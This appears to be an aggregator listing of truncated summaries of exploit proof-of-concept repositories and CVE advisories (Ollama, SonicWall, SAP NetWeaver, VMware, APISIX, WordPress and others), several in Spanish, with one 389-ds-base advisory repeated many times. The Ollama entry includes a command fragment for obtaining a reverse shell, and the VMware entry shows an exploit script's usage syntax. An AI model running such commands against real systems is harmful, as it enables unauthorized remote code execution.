CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 y CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Debe ejecutarse en Linux, el entorno necesita tener gcc. Instale golang y ejecute el siguiente comando para obtener una shell reversa: root@kitploit: go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...

rapid7-CVE-2026-15409

CVE-2026-15409 This repo contains a proof-of-concept exploit for CVE-2026-15409. It establishes non-root remote code execution on SonicWall SMA 1000 by implementing the Erlang protocol expected by localhost:1050 and tunneling it through the websocket for file r/w and arbitrary code execution via...

CVE-2026-18355 389-ds-base: 389-ds-base: heap buffer overflow via sasl wrapped-record length lower-bound underflow in sasl_io_start_packet()

A heap buffer overflow flaw was found in the SASL I/O layer of 389 Directory Server 389-ds-base. In sasliostartpacket, the wrapped-record length read from the wire is validated only against an upper bound. A small wire length 0, 1, or 2 produces an encryptedbuffercount below the already-consumed...

CVE-2026-18355 389-ds-base: 389-ds-base: heap buffer overflow via sasl wrapped-record length lower-bound underflow in sasl_io_start_packet()

A heap buffer overflow flaw was found in the SASL I/O layer of 389 Directory Server 389-ds-base. In sasliostartpacket, the wrapped-record length read from the wire is validated only against an upper bound. A small wire length 0, 1, or 2 produces an encryptedbuffercount below the already-consumed...

CVE-2026-18355

A heap buffer overflow was found in the SASL I/O layer of 389 Directory Server (389-ds-base) . In sasl_io_start_packet(), the wrapped-record length is validated only against an upper bound; a small wire length (0, 1, or 2) causes an unsigned subtraction underflow in sasl_io_read_packet(), request...

EUVD-2026-72455

A heap buffer overflow flaw was found in the SASL I/O layer of 389 Directory Server 389-ds-base. In sasliostartpacket, the wrapped-record length read from the wire is validated only against an upper bound. A small wire length 0, 1, or 2 produces an encryptedbuffercount below the already-consumed...

CVE-2026-18355

A heap buffer overflow flaw was found in the SASL I/O layer of 389 Directory Server 389-ds-base. In sasliostartpacket, the wrapped-record length read from the wire is validated only against an upper bound. A small wire length 0, 1, or 2 produces an encryptedbuffercount below the already-consumed...

CVE-2026-18355

A heap buffer overflow flaw was found in the SASL I/O layer of 389 Directory Server 389-ds-base. In sasliostartpacket, the wrapped-record length read from the wire is validated only against an upper bound. A small wire length 0, 1, or 2 produces an encryptedbuffercount below the already-consumed...

CVE-2022-22916

...

CVE-2025-31324_PoC

CVE-2025-31324PoC Prueba de concepto para CVE-2025-31324: Carga no autenticada en SAP NetWeaver Visual Composer Metadata Uploader Este script realiza: 1. Carga de archivo al endpoint vulnerable a través del host/puerto de carga 2. Activación opcional mediante HTTP GET a través del host/puerto de...

Exploit-For-CVE-2022-36067

Exploit-For-CVE-2022-36067 Este repositorio contiene el payload para el CVE-2022-36067 ¿Cómo explotarlo? Pega el payload proporcionado en payload.js junto con el comando que quieras ejecutar. Prueba en máquina local Para probar en una máquina local, clona el repositorio con git, instala las...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 Descripción de la vulnerabilidad Vulnerabilidad de escritura arbitraria de archivos en JumpServer CVE-2023-42819 + CVE-2023-42820 = GetShell USO 1. Coloque el script y los archivos necesarios en el mismo directorio 2. Asegúrese de que Google Chrome esté instalado y...

PS4-6.20-WebKit-Code-Execution-Exploit

PS4 6.20 WebKit Code Execution PoC Este repositorio contiene un exploit de prueba de concepto PoC de ejecución remota de código RCE dirigido a la PlayStation 4 con firmware 6.20, aprovechando CVE-2018-4441. El exploit primero establece una primitiva de lectura/escritura arbitraria, así como una...

BlueGate

BlueGate Prueba de concepto Denegación de servicio + escáner para CVE-2020-0609 y CVE-2020-0610. Estas vulnerabilidades permiten a un atacante no autenticado lograr ejecución remota de código con los máximos privilegios a través de la Puerta de enlace de escritorio remoto RD Gateway para RDP. Úse...

CVE-2023-20887

CVE-2023-20887 Exploit VMWare vRealize Network Insight Pre-Authenticated RCE CVE-2023-20887 Usage root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l...

unomi_exploit

Declaración Los métodos de detección de vulnerabilidades, archivos y otros contenidos proporcionados aquí están destinados únicamente a ser utilizados por profesionales de seguridad con autorización legal, con el fin de probar la seguridad de servidores autorizados. Los profesionales de seguridad...

rschunter

RSC Hunter React Server ComponentRSC 취약점을 위한 강력한 멀티스레드 스캐너 및 익스플로잇 도구입니다. 이 도구는 RSC 구현에서 RCE 취약점을 식별하고 익스플로잇하도록 설계되었으며, 다양한 우회 기법과 전략을 지원합니다. 참고 : 완전한 대화형 셸 및 기타 무거운 기능을 유지하는 것이 매우 복잡해지기 때문에 해당 기능들을 제거하기로 결정했습니다. 이 프로젝트는 이제 엣지 케이스 처리, 동작 분석, RSC 취약점의 신뢰할 수 있는 탐지에만 집중합니다. 더 단순하고 집중된 도구가 커뮤니티에 더 나은...

ripple20-digi-connect-exploit

Exploit Ripple20: Digi Connect ME 9210 Autores: Moshe Kol, Shlomi Omeran Este repositorio contiene un PoC de explotación para CVE-2020-11896, una vulnerabilidad crítica de desbordamiento de búfer en el montón en la pila TCP/IP de Track parte del conjunto de vulnerabilidades Ripple20. El exploit...

CVE-2020-13945-EXPLOIT

CVE-2020-13945 - Ejecución Remota de Código RCE en Apache APISIX Este repositorio contiene un exploit de prueba de concepto PoC para una vulnerabilidad en Apache APISIX. La vulnerabilidad surge cuando la API de Administración está habilitada y se eliminan las reglas de restricción de IP de acceso...

CVE-2024-7627-PoC

CVE-2024-7627-PoC Antecedentes Este script de Prueba de Concepto PoC es para el plugin de WordPress Bit File Manager versión 6.0 - 6.5.5, que presenta una vulnerabilidad de Ejecución Remota de Código no autenticada mediante Condición de Carrera CVE-2024-7627. Información Descripción: El plugin Bi...